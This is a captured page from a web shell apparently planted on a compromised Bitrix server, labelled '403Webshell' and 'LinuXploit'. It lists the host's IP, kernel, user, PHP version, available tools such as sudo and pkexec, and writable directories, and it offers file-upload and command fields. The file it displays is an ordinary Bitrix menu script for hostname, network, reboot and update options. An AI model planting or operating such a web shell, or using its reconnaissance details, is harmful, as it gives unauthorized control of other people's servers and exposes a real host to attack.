403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /opt/webdir/bin/menu/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /opt/webdir/bin/menu/02_local.sh
#!/usr/bin/bash
#
# manage localhost options
PROGNAME=$(basename $0)
PROGPATH=$(dirname $0)
[[ -z $DEBUG ]] && DEBUG=0

. $PROGPATH/02_local/functions.sh || exit 1

logo=$(get_logo)

# get_text variables
[[ -f $PROGPATH/02_local/local.txt ]] && \
    . $PROGPATH/02_local/local.txt

configure_hostname() {
    $submenu_dir/01_configure_hostname.sh
}

configure_net() {
    type=${1:-manual}
    $submenu_dir/02_configure_net.sh $type
}

shutdown_server() {
    type=${1:-reboot}
    $submenu_dir/04_shutdown_server.sh $type
}

update_server() {
    $submenu_dir/06_update_server.sh
}

beta_version() {
    $PROGPATH/01_hosts/10_change_repository.sh
}

# print host menu
submenu() {
#    submenu_00="$CFGL0000"
#    submenu_01="$CFGL0001"
#    submenu_02="$CFGL0002"
#    submenu_03="$CFGL0003"
#    submenu_04="$CFGL0004"
#    submenu_05="$CFGL0005"
#    submenu_06="$CFGL0006"
#    #submenu_07="$CFGL0009"
    submenu_00=" $CFGL0000"
    submenu_01="$CFGL0001"
    submenu_02=" $CFGL0002"
    submenu_03=" $CFGL0003"
    submenu_04=" $CFGL0004"
    submenu_05=" $CFGL0005"
    submenu_06=" $CFGL0006"

    menu_logo="$CFGL0007"

    SUBMENU_SELECT=
    until [[ -n "$SUBMENU_SELECT" ]]; do
        [[ $DEBUG -eq 0 ]] && clear
        echo -e "\t\t" $logo
        echo -e "\t\t" $menu_log
        echo

        get_local_network $LINK_STATUS
        menu_list="$submenu_01\n\t\t$submenu_02\n\t\t$submenu_03\n\t\t$submenu_04\n\t\t$submenu_05\n\t\t$submenu_06\n\t\t$submenu_00"

        print_menu
        print_message "$CFGL0008" '' '' SUBMENU_SELECT

        case "$SUBMENU_SELECT" in
#            "1") configure_hostname ;;
#            "2") configure_net dhcp ;;
#            "3") configure_net manual ;;
#            "4") shutdown_server reboot ;;
#            "5") shutdown_server halt ;;
#            "6") update_server ;;
#            #"7") beta_version ;;
#            "0") exit ;;
#            *) error_pick; SUBMENU_SELECT=;;
            "1") configure_hostname ;;
            "2") configure_net dhcp ;;
            "3") configure_net manual ;;
            "4") shutdown_server reboot ;;
            "5") shutdown_server halt ;;
            "6") update_server ;;
            "0") exit ;;
            *) error_pick; SUBMENU_SELECT=;;
        esac

        SUBMENU_SELECT=
    done
}

submenu

Youez - 2016 - github.com/yon3zu
LinuXploit